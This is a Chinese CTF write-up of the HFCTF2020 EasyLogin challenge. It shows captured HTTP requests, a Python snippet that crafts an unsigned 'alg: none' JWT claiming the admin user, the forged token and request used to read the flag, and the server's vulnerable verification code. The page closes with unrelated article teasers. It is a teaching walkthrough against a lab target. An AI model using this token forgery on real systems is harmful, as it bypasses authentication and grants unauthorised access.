[HFCTF2020]EasyLogin-1|JWT身份伪造
1、打开之后只有一个登陆界面和注册界面,右键检查发现app.js代码,结果如下:


app.js代码如下:
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/
function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}
function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}
2、那就注册一个账户进行登录然后尝试获取flag值,但是显示权限不允许,结果如下:

3、看到显示了用户名,考虑了下是否是二次注入,经过尝试这里好像并没有什么用,但是在测试时发现admin账户无法注册,加上上面的提示权限不允许,想到这里可能是要我们获取admin权限之后才能获取flag,那就抓取登录的数据包进行分析,发现存在jwt信息,然后就想到了jwt信息伪造,结果如下:
POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NTM3MzUxMywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=AFfZU1lVSsYbRn_pR5t69AAy1Ts
Connection: close
username=123&password=123&authorization=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZWNyZXRpZCI6NCwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.jpELP7_BnqquU2OVt-8nL442wcPDmHbtWP8J6jOjKEo
jwt信息格式:前两部分均是base64加密,第三部分加密方式为第一部分声明的加密算法结合密匙进行加密,解密地址:https://jwt.io/,jwt解密信息如下:

4、然后就想着获取密匙,但是未成功,后来在网上看到:当加密时使用的是 none 方法,验证时只要密钥处为 undefined 或者空之类的,即便后面的算法指名为 HS256,验证也还是按照 none 来验证通过,那这样的话我们就可以直接伪造jwt的信息了,对header和payload部分信息分别进行修改和加密,然后拼接加密后的字符串(注意删掉填充符=),结果如下:
import base64
a = '{"alg":"none","typ":"JWT"}'
b = '{"secretid":[],"username":"admin","password":"123","iat":1660895973}'
print(base64.b64encode(a.encode('utf-8')))
print(base64.b64encode(b.encode('utf-8')))

所以最终的jwt信息为:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.
5、抓取登陆的数据包,修改登录的用户名和jwt信息,数据包如下:
POST /api/login HTTP/1.1
Host: b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Content-Length: 208
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81
Referer: http://b41e6a34-cf6a-4c47-9683-6e39216e64b9.node4.buuoj.cn:81/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: sses:aok=eyJ1c2VybmFtZSI6bnVsbCwiX2V4cGlyZSI6MTY2MDk4NjE3MTMxNywiX21heEFnZSI6ODY0MDAwMDB9; sses:aok.sig=F8g5EE9X5Vc_jFjbIBcg6HA-kpI
Connection: close
username=admin&password=123&authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMyIsImlhdCI6MTY2MDg5NTk3M30.
6、然后想着点击获取flag就可以获取到flag值了,但是发现通过admin进入之后,这个按钮点击并没有反应,因此只能直接访问/api/flag(在app.js代码中发现的),最终成功获取到flag值,结果如下:

7、后面在网上查看时发现都是访问了controllers下的api.js找到主要逻辑代码,然后才进行的jwt身份伪造,我这也算是误打误撞,还是看了下api.js的内容,结果如下:
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require('../rest').APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}
if(global.secrets.length > 100000) {
global.secrets = [];
}
const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}
const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: 'HS256'});
const status = username === user.username && password === user.password;
if(status) {
ctx.session.username = username;
}
ctx.rest({
status
});
await next();
},
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};
主要就是这里,对登录的用户名进行了判断,只有用户名是admin时才可以读取flag:
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}
const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});
await next();
},
[HFCTF2020]EasyLogin-1|JWT身份伪造的更多相关文章
- JWT 身份认证优缺点分析以及常见问题解决方案
本文转载自:JWT 身份认证优缺点分析以及常见问题解决方案 Token 认证的优势 相比于 Session 认证的方式来说,使用 token 进行身份认证主要有下面三个优势: 1.无状态 token ...
- flask利用session身份伪造
想研究很久了,这次终于初步了解了flask session伪造(得知道密钥). python2和python3 session解密不一样,而且不都是base64,脚本https://github.co ...
- Spring Cloud系列-Zuul网关集成JWT身份验证
前言 这两三年项目中一直在使用比较流行的spring cloud框架,也算有一定积累,打算有时间就整理一些干货与大家分享. 本次分享zuul网关集成jwt身份验证 业务背景 项目开发少不了身份认证,j ...
- ASP.NET Core系列:JWT身份认证
1. JWT概述 JSON Web Token(JWT)是目前流行的跨域身份验证解决方案. JWT的官网地址:https://jwt.io JWT的实现方式是将用户信息存储在客户端,服务端不进行保存. ...
- springmvc文件上传AND jwt身份验证
SpringMVC文件上传 思路:1.首先定义页面,定义多功能表单(enctype=“multipart/form-data”)2.在Controller里面定义一个方法,用参数(MultipartF ...
- ASP.NET Core Web API中带有刷新令牌的JWT身份验证流程
ASP.NET Core Web API中带有刷新令牌的JWT身份验证流程 翻译自:地址 在今年年初,我整理了有关将JWT身份验证与ASP.NET Core Web API和Angular一起使用的详 ...
- .netcore实现jwt身份验证
前言 http协议本身是一种无状态的协议.所以客户端的每次请求,服务端是不清楚其身份的,需要客户端每次都要将身份信息传入,服务进行验证,才能达到安全验证的目的. 传统的Web用户验证:1.客户端传入用 ...
- Asp.Net Core 5 REST API 使用 JWT 身份验证 - Step by Step
翻译自 Mohamad Lawand 2021年1月22日的文章 <Asp Net Core 5 Rest API Authentication with JWT Step by Step> ...
- 【译】使用Jwt身份认证保护 Asp.Net Core Web Api
原文出自Rui Figueiredo的博客,原文链接<Secure a Web Api in ASP.NET Core> 摘要:这边文章阐述了如何使用 Json Web Token (Jw ...
随机推荐
- JavaScript中的??和?.和??=操作符
JS中两种不常使用但挺实用的操作符:??和?. 一起来了解并学会使用它们吧: 空值合并操作符:?? 只有当操作符左侧为null或undefined时才会返回操作符右侧的值,否则返回左侧的值. eg: ...
- 第1章 C++绪论
写于2022年5月13日: 开通博客用于学习记录分享及交流. C++复习笔记内容参考教材[双语版C++程序设计(第2版)][(爱尔兰)Paul Kelly(P. 凯利),苏小红]. 本书的网站:htt ...
- iNeuOS工业互联网操作系统,在线报表(Excel)开发工具
目 录 1. 概述... 2 2. 视频介绍... 2 3. 应用过程... 2 1. 概述 iNeuOS工业互联网操作系统在线报表(Excel)工具的开 ...
- 腾讯QQ快捷登陆
腾讯QQ快捷 相关各语言对接qq快捷登录教程 [C#]QQ开放平台(QQ站外登录)_流程和源码示例 j2ee中实现QQ第三方登陆 web实现QQ第三方登录 asp.net网站接入QQ登录 php实现q ...
- 眼球3D可视化解决方案——案例详解
医疗器械行业伴随着人类健康需求的增长而不断发展,是名副其实的朝阳行业,也是全球发达国家竞相争夺的领域. 一方面,行业门槛高,集中度低,外资企业挤占市场空间成了我国所有医疗器械行业入局者面临的共同挑战. ...
- 【JS】两数之和
给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标. 你可以假设每种输入只会对应一个答案.但是,数组中同一 ...
- Linux YUM yum-utils 模块详解
yum-utils 详解 yum-utils是yum的工具包集合,由不同的作者开发,使yum使用起来更加方便和强大.包括:debuginfo-install,find-repos-of-install ...
- 临近梯度下降算法(Proximal Gradient Method)的推导以及优势
邻近梯度下降法 对于无约束凸优化问题,当目标函数可微时,可以采用梯度下降法求解:当目标函数不可微时,可以采用次梯度下降法求解:当目标函数中同时包含可微项与不可微项时,常采用邻近梯度下降法求解.上述三种 ...
- 生成RSA密钥的方法[转载]
openssl genrsa -des3 -out privkey.pem 2048 这个命令会生成一个2048位的密钥,同时有一个des3方法加密的密码,如果你不想要每次都输入密码,可以改成(测试常 ...
- go-zero微服务实战系列(十一、大结局)
本篇是整个系列的最后一篇了,本来打算在系列的最后一两篇写一下关于k8s部署相关的内容,在构思的过程中觉得自己对k8s知识的掌握还很不足,在自己没有理解掌握的前提下我觉得也很难写出自己满意的文章,大家看 ...